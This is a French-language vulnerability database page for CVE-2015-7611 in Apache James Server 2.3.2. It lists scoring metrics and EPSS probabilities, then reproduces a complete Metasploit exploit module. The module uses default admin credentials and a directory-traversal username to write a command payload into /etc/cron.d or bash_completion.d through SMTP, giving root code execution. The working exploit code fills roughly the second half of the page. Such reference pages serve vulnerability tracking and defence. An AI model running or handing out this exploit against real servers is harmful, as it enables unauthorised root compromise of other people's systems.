CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Apache James Server 2.3.2, when configured with file-based user repositories, allows attackers to execute arbitrary system commands via unspecified vectors.
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.0
8.1
HIGH
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
High
A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
82.15%
–
–
2022-04-03
–
–
82.15%
–
–
2023-03-12
–
–
–
77.47%
–
2023-05-14
–
–
–
78.39%
–
2023-06-25
–
–
–
76.66%
–
2023-09-10
–
–
–
75.21%
–
2023-12-24
–
–
–
77.52%
–
2024-03-31
–
–
–
78.94%
–
2024-06-02
–
–
–
77.43%
–
2024-07-07
–
–
–
75.46%
–
2024-09-08
–
–
–
70.04%
–
2024-10-13
–
–
–
72.86%
–
2024-11-24
–
–
–
73.4%
–
2024-12-22
–
–
–
75.15%
–
2025-01-05
–
–
–
73.28%
–
2025-01-19
–
–
–
73.28%
–
2025-03-18
–
–
–
–
77.66%
2025-04-10
–
–
–
–
78.83%
2025-08-24
–
–
–
–
76.24%
2025-08-24
–
–
–
–
76.24,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2020-02-23 23h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write",
'Description' => %q{
This module exploits a vulnerability that exists due to a lack of input
validation when creating a user. Messages for a given user are stored
in a directory partially defined by the username. By creating a user
with a directory traversal payload as the username, commands can be
written to a given directory. To use this module with the cron
exploitation method, run the exploit using the given payload, host, and
port. After running the exploit, the payload will be executed within 60
seconds. Due to differences in how cron may run in certain Linux
operating systems such as Ubuntu, it may be preferable to set the
target to Bash Completion as the cron method may not work. If the target
is set to Bash completion, start a listener using the given payload,
host, and port before running the exploit. After running the exploit,
the payload will be executed when a user logs into the system. For this
exploitation method, bash completion must be enabled to gain code
execution. This exploitation method will leave an Apache James mail
object artifact in the /etc/bash_completion.d directory and the
malicious user account.
},
'License' => MSF_LICENSE,
'Author' => [
'Palaczynski Jakub', # Discovery
'Matthew Aberegg', # Metasploit
'Michael Burkey' # Metasploit
],
'References' =>
[
[ 'CVE', '2015-7611' ],
[ 'EDB', '35513' ],
[ 'URL', 'https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf' ]
],
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
[ 'Bash Completion', {
'ExploitPath' => 'bash_completion.d',
'ExploitPrepend' => '',
'DefaultOptions' => { 'DisablePayloadHandler' => true, 'WfsDelay' => 0 }
} ],
[ 'Cron', {
'ExploitPath' => 'cron.d',
'ExploitPrepend' => '* * * * * root ',
'DefaultOptions' => { 'DisablePayloadHandler' => false, 'WfsDelay' => 90 }
} ]
],
'Privileged' => true,
'DisclosureDate' => "Oct 1 2015",
'DefaultTarget' => 1,
'CmdStagerFlavor'=> [ 'bourne', 'echo', 'printf', 'wget', 'curl' ]
))
register_options(
[
OptString.new('USERNAME', [ true, 'Root username for James remote administration tool', 'root' ]),
OptString.new('PASSWORD', [ true, 'Root password for James remote administration tool', 'root' ]),
OptString.new('ADMINPORT', [ true, 'Port for James remote administration tool', '4555' ]),
OptString.new('POP3PORT', [false, 'Port for POP3 Apache James Service', '110' ]),
Opt::RPORT(25)
])
import_target_defaults
end
def check
# SMTP service check
connect
smtp_banner = sock.get_once
disconnect
unless smtp_banner.to_s.include? "JAMES SMTP Server"
return CheckCode::Safe("Target port #{rport} is not a JAMES SMTP server")
end
# James Remote Administration Tool service check
connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']})
admin_banner = sock.get_once
disconnect
unless admin_banner.to_s.include? "JAMES Remote Administration Tool"
return CheckCode::Safe("Target is not JAMES Remote Administration Tool")
end
# Get version number
version = admin_banner.scan(/JAMES Remote Administration Tool ([\d\.]+)/).flatten.first
# Null check
unless version
return CheckCode::Detected("Could not determine JAMES Remote Administration Tool version")
end
# Create version objects
target_version = Gem::Version.new(version)
vulnerable_version = Gem::Version.new("2.3.2")
# Check version number
if target_version > vulnerable_version
return CheckCode::Safe
elsif target_version == vulnerable_version
return CheckCode::Appears
elsif target_version < vulnerable_version
return CheckCode::Detected("Version #{version} of JAMES Remote Administration Tool may be vulnerable")
end
end
def execute_james_admin_tool_command(cmd)
username = datastore['USERNAME']
password = datastore['PASSWORD']
connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']})
sock.get_once
sock.puts(username + "\n")
sock.get_once
sock.puts(password + "\n")
sock.get_once
sock.puts(cmd)
sock.get_once
sock.puts("quit\n")
disconnect
end
def cleanup
return unless target['ExploitPath'] == "cron.d"
# Delete mail objects containing payload from cron.d
username = "../../../../../../../../etc/cron.d"
password = @account_password
begin
connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['POP3PORT']})
sock.get_once
sock.puts("USER #{username}\r\n")
sock.get_once
sock.puts("PASS #{password}\r\n")
sock.get_once
sock.puts("dele 1\r\n")
sock.get_once
sock.puts("quit\r\n")
disconnect
rescue
print_bad("Failed to remove payload message for user '../../../../../../../../etc/cron.d' with password '#{@account_password}'")
end
# Delete malicious user
delete_user_command = "deluser ../../../../../../../../etc/cron.d\n"
execute_james_admin_tool_command(delete_user_command)
end
def execute_command(cmd, opts = {})
# Create malicious user with randomized password (message objects for this user will now be stored in /etc/bash_completion.d or /etc/cron.d)
exploit_path = target['ExploitPath']
@account_password = Rex::Text.rand_text_alpha(8..12)
add_user_command = "adduser ../../../../../../../../etc/#{exploit_path} #{@account_password}\n"
execute_james_admin_tool_command(add_user_command)
# Send payload via SMTP
payload_prepend = target['ExploitPrepend']
connect
sock.puts("ehlo admin@apache.com\r\n")
sock.get_once
sock.puts("mail from: <'@apache.com>\r\n")
sock.get_once
sock.puts("rcpt to: <../../../../../../../../etc/#{exploit_path}>\r\n")
sock.get_once
sock.puts("data\r\n")
sock.get_once
sock.puts("From: admin@apache.com\r\n")
sock.puts("\r\n")
sock.puts("'\n")
sock.puts("#{payload_prepend}#{cmd}\n")
sock.puts("\r\n.\r\n")
sock.get_once
sock.puts("quit\r\n")
sock.get_once
disconnect
end
def execute_cmdstager_end(opts)
if target['ExploitPath'] == "cron.d"
print_status("Waiting for cron to execute payload...")
else
print_status("Payload will be triggered when someone logs onto the target")
print_warning("You need to start your handler: 'handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}'")
print_warning("After payload is triggered, delete the message and account of user '../../../../../../../../etc/bash_completion.d' with password '#{@account_password}' to fully clean up exploit artifacts.")
end
end
def exploit
execute_cmdstager(background: true)
end
end